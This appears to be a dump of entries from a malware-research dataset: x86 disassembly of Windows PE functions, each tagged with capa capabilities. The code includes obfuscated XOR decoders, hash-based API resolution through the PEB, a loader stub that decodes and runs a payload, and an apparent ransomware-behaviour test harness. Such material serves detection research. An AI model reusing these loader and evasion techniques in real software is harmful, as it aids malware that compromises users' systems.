joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004769
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
push esi
mov esi, ecx
push edi
mov edi, dword [esi + 0x10]
test edi, edi
jne 0x10004783
xor al, al
jmp 0x1000492e
mov ax, word [esi + 2]
xor ecx, ecx
mov word [ebp - 0x1c], ax
add edi, 0xa
mov al, byte [esi + 4]
push ebx
mov byte [ebp - 0x1a], al
mov bh, cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 1], bh
jmp 0x100047d9
push dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
push dword [ebp + 8]
call fcn.10003f64
test eax, eax
js 0x1000488e
lea eax, [ebp - 0x1c]
mov ecx, esi
je 0x10004868
push dword [ebp - 8]
push eax
call fcn.1001100b
mov edi, eax
push dword [esi + 0x14]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea ecx, [ebp - 0x1c]
call fcn.100040be
mov bl, al
test bl, bl
jne 0x100047ad
mov edi, dword [ebp - 8]
mov dword [esi + 0x14], edi
xor edx, edx
test bh, bh
jne 0x1000481e
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
and dword [ebp - 0x10], edx
mov word [ebp - 0x14], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xc], eax
call fcn.10003fcc
mov edx, eax
mov ax, word [esi + 6]
lea ecx, [ebp - 0x30]
and dword [ebp - 0x24], 0
mov word [ebp - 0x30], ax
mov al, byte [esi + 8]
mov byte [ebp - 0x2e], al
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x14]
mov word [ebp - 0x28], ax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
call fcn.10003fcc
mov ecx, dword [esi + 0x14]
lea ebx, [edx + eax]
mov edx, dword [esi + 0x18]
sub edx, ecx
cmp ecx, dword [esi + 0x18]
sbb ecx, ecx
and ecx, edx
cmp ecx, ebx
jae 0x1000489e
xor al, al
jmp 0x1000492d
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 8]
push eax
call fcn.100045a5
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x1000492b
mov bh, 1
mov byte [ebp - 1], bh
jmp 0x10004891
mov dword [ebp - 8], edi
test bl, bl
jne 0x100047f7
jmp 0x100047f4
mov ecx, dword [esi + 0x18]
lea edx, [ebx + edi]
mov eax, dword [esi + 0x14]
sub ecx, ebx
sub ecx, edi
sub eax, edi
je 0x100048e8
test edx, edx
jne 0x100048c6
call dword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__errno]
mov dword [eax], 0x16
call sub.api_ms_win_crt_private_l1_1_0.dll__o__invalid_parameter_noinfo
jmp 0x100048e8
test edi, edi
je 0x100048b3
cmp ecx, eax
jae 0x100048dc
call dword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__errno]
mov dword [eax], 0x22
jmp 0x100048bf
push eax
push edi
push edx
call dword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_memmove]
add esp, 0xc
mov eax, dword [esi + 0x14]
add eax, ebx
cmp byte [ebp - 1], 0
mov dword [esi + 0x14], eax
jne 0x10004905
push eax
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10003ff0
jmp 0x10004918
cmp byte [ebp - 0x1a], 0
je 0x10004918
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
inc eax
push eax
call fcn.10003f8b
push dword [esi + 0x14]
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x30]
call fcn.10003ff0
mov byte [esi + 0x20], 1
mov al, 1
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x14
Function at 0x1000667d
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x100066ba
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x100066b3
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x100066bf
add edx, 0x28
cmp edx, esi
jne 0x100066a4
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x100066bc

Function at 0x1000b545
Capabilities:
Encode data using xor

Disassembly:
call 0x1000b4be
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1000b4ee
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1000b50a
xor edx, 0
jmp 0x1000b515
xor edx, edx
jmp 0x1000b52c
jmp 0x1000b538
xor eax, eax
push 0x8427d7c0
call 0x1000b545
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1000b581
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1000b55a
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1000b598
add eax, 0
jno 0x1000b59d
add esi, 0
ret 0x10
Function at 0x1000c306
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1000c328
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1000c4ca
cmp edi, dword [ebp + 0x10]
jb 0x1000c4ca
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1000bdf2
inc edi
jmp 0x1000c3b1
jmp 0x1000c3be
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000bdf2
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000bdf2
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1000c412
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1000c3f6
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1000c440
add dword [eax], 0x39
jle 0x1000c41c
sub al, 0xf5
mov ch, al
call fcn.1000c455
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x1000e12d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1000e143
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1000e154
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1000e195
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x10010501
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1001044a
add ebx, 0
push ecx
call 0x1001045f
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x100570a2
sub ebx, dword [0x100768e1]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x100768d1
call fcn.1000bf29
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1000b437
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100105bd
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100105bd
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x10010574
mov eax, 1
lock xchg dword [0x100768dd], eax
push 0x3dd1fc71
call 0x10010501
push esi
add esp, 8
cmp eax, 0
jne 0x100104ea
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x10010510
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x10010525
cmp ecx, edx
cmp eax, 0
je 0x1001054a
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x10010534
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.10010563
dec eax
loope 0x10010566
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x100768dd], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1001059a
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100105af
jmp 0x100105ba
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100104a8
Function at 0x10017622
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100178f8
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x10063555
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x1005a51b
push 0xffffffffffffffff
call fcn.1000e822
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1001768c
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100176a4
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100178ec
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100178c0
Function at 0x100270f2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10027114
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10027114
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10027114
ret
cmp word [ebx + 4], 0x14c
jne 0x10027114
test word [ebx + 0x16], 2
je 0x10027114
test word [ebx + 0x16], 0x100
je 0x10027114
cmp word [ebx + 0x18], 0x10b
jne 0x10027114
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10027114
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100271a0
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10027134
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000e07f
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10027114
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x100271a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10027114
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10027114
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10027114
ret
cmp word [ebx + 4], 0x14c
jne 0x10027114
test word [ebx + 0x16], 2
je 0x10027114
test word [ebx + 0x16], 0x100
je 0x10027114
cmp word [ebx + 0x18], 0x10b
jne 0x10027114
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10027114
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100271a0
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10027134
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000e07f
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10027114
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10027257
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100272b0
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10027257
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10027266
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042cf09
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100272b7
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1000e12d
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10027356
add edi, 4
add eax, 2
dec ecx
jne 0x1002729c
call 0x10027303
loope 0x100272f9
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10027353
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10027364
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10027317
cmp eax, ecx
ja 0x10027317
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100273a1
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10027397
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000e60c
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10027266
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100272b0
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10027257
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10027266
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042cf09
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100272b7
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1000e12d
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10027356
add edi, 4
add eax, 2
dec ecx
jne 0x1002729c
call 0x10027303
loope 0x100272f9
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10027353
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10027364
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10027317
cmp eax, ecx
ja 0x10027317
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100273a1
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10027397
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000e60c
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x402c00
pop dword [ebp - 0x40]
mov eax, 0x402c00
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x9067f2c1
add dword [ebp - 0x50], 0xbdea528a
mov dword [ebp - 0x4c], 0xe5c0d778
add dword [ebp - 0x4c], 0x4c7274cd
mov dword [ebp - 0x48], 0x810dbb75
sub dword [ebp - 0x48], 0x34c17747
mov dword [ebp - 0x44], 0xbe5ef441
add dword [ebp - 0x44], 0x41a10bbf
lea eax, [ebp - 0x50]
push eax
mov eax, 0xf597016f
add eax, 0xaa97f1d
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x9d450398
sub dword [ebp - 0x50], 0x28d29a42
mov dword [ebp - 0x4c], 0xc6511360
add dword [ebp - 0x4c], 0x7b1b4e15
mov dword [ebp - 0x48], 0xb760a216
add dword [ebp - 0x48], 0xac0eca56
mov dword [ebp - 0x44], 0xa8597ec1
sub dword [ebp - 0x44], 0xa8597ec1
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xb1729361
sub eax, 0xb132128d
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3a04a
push 0
call eax
mov ecx, 0x5e24fb03
sub ecx, 0x5e24a5b2
mov edi, eax
mov edx, 0x7bb5fe2f
add edx, 0x848b11d1
add edx, dword [ebp - 0x40]
mov esi, 0x42f6ce94
sub esi, 0xecd03ce4
mov dword [ebp - 0x20], 0x469b8ddc
mov ebx, dword [edx]
add dword [ebp - 0x10], ecx
xor ebx, esi
sub dword [ebp - 0x38], 0xd61066c0
mov dword [edi], ebx
add edi, 0x746df25
sub edi, 0x746df21
add edx, 4
loop 0x402d1d
add eax, 0x82589f03
add eax, 0x7da8a914
xor ebx, ebx
add ebx, eax
add eax, 0xece8d580
add eax, 0x13172a85
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x4010b0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x41c758
push 0x402cb0
mov eax, dword fs:[0]
push eax
sub esp, 0x634
mov eax, dword [0x41e004]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, dword [ebp + 0xc]
push 0x418
push 0
lea eax, [ebp - 0x640]
push eax
call fcn.004032b0
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x644], 0
push 0x104
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.004032b0
push 0x104
push 0
lea eax, [ebp - 0x120]
push eax
call fcn.004032b0
add esp, 0x24
mov dword [ebp - 4], 0
call fcn.004016a0
test al, al
jne 0x40115b
push str.ERR:_Error_initializing_logger_n_n
call fcn.00401040
add esp, 4
jmp 0x4012eb
cmp dword [ebp + 8], 3
je 0x401175
push dword [esi]
push str.ERR:_Usage:__s__payloadPath___pathToEncrypt__n
call fcn.00401040
add esp, 8
jmp 0x4012eb
push dword [esi + 4]
push 0x104
lea eax, [ebp - 0x640]
push eax
call fcn.0040816c
push 0x41b9e0
push 0x104
lea eax, [ebp - 0x53c]
push eax
call fcn.0040816c
push dword [esi + 8]
push 0x104
lea eax, [ebp - 0x120]
push eax
call fcn.0040816c
add esp, 0x24
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
lea eax, [ebp - 0x120]
push eax
push str.__forcepath__s
push 0x104
lea eax, [ebp - 0x438]
push eax
call fcn.00401070
add esp, 0x10
mov byte [ebp - 0x22c], 1
call fcn.00401f10
test al, al
jne 0x401200
push str.ERR:_Unable_to_get_SeDebugPrivileges__may_be_unable_to_clean_up_child_processes_n_n
call fcn.00401040
add esp, 4
lea ecx, [ebp - 0x640]
call fcn.00401ca0
test al, al
jne 0x401221
push str.ERR:_Error_initializing_execution_library__aborting_n_n
call fcn.00401040
add esp, 4
jmp 0x4012eb
lea ecx, [ebp - 0x640]
call fcn.00401a60
test al, al
jne 0x401249
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERR:_Failed_to_execute_payload__GLE:__d___aborting_n_n
call fcn.00401040
add esp, 8
jmp 0x4012eb
lea eax, [ebp - 0x644]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
lea eax, [ebp - 0x228]
push eax
mov ecx, dword [esi + 8]
call fcn.00402000
add esp, 4
test eax, eax
je 0x40127b
push str.ERR:_Error_checking_for_ransomware_files_n_n
call fcn.00401040
add esp, 4
jmp 0x40128f
cmp dword [ebp - 0x228], 0
je 0x401288
mov cl, 1
jmp 0x40128a
xor cl, cl
call fcn.00401640
push str.readme.txt
push dword [esi + 8]
push str._s_s
lea eax, [ebp - 0x224]
push eax
call fcn.004013f0
add esp, 0x10
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov bl, al
push str.bhv.ransom.ransom_note
mov dl, bl
mov ecx, str.ransom
call fcn.00401500
push str.bhv.ransom.ransom_note
mov dl, bl
mov ecx, 0x41f35c
call fcn.00401430
add esp, 8
push dword [ebp - 0x644]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
mov dword [ebp - 4], 0xfffffffe
call fcn.00401315
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0040212b
mov esp, ebp
pop ebp
ret